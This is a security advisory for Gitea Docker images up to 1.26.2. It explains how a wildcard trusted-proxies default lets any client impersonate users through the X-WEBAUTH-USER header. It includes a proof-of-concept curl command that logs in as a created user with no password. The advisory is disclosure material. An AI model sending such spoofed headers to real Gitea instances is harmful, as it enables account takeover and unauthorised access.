GitHub Advisoryadvisory · Go
GHSA-f75j-4cw6-rmx4 Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
CRITICAL
Official page ↗
- Aliases
- CVE-2026-20896
- Ecosystem
- Go
- Packages
- code.gitea.io/gitea
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-284
- Reviewed
- 2026-07-21
Affected packages
• Go code.gitea.io/gitea: < 1.26.3 → fixed in 1.26.3
Description
Summary
The Gitea Docker images ship an `app.ini` template that hard-codes:
```
REVERSE_PROXY_TRUSTED_PROXIES = *
```
The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.
When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from any source IP that can reach the container.
Affected
• `gitea/gitea` Docker images (verified `1.26.2`)
• `docker/root/etc/templates/app.ini:55`
• `docker/rootless/etc/templates/app.ini:52`
Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.
Reproduction
```
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email [email protected] --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '[^'
```
Output: `alice - Dashboard - Gitea: Git with a cup of tea` — attacker is logged in as alice with one header, no password, no cookie.
Same payload with `X-WEBAUTH-USER: ` impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.
Related
Alias · CVE (1)
- CVE-2026-20896 Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to… vulnerability
Weakness · CWE (1)
- CWE-284 Improper Access Control weakness
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-20896 advisory
- https://github.com/go-gitea/gitea/pull/38151 web
- https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9 web
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4 web
- https://github.com/go-gitea/gitea package
- https://github.com/go-gitea/gitea/releases/tag/v1.26.3 web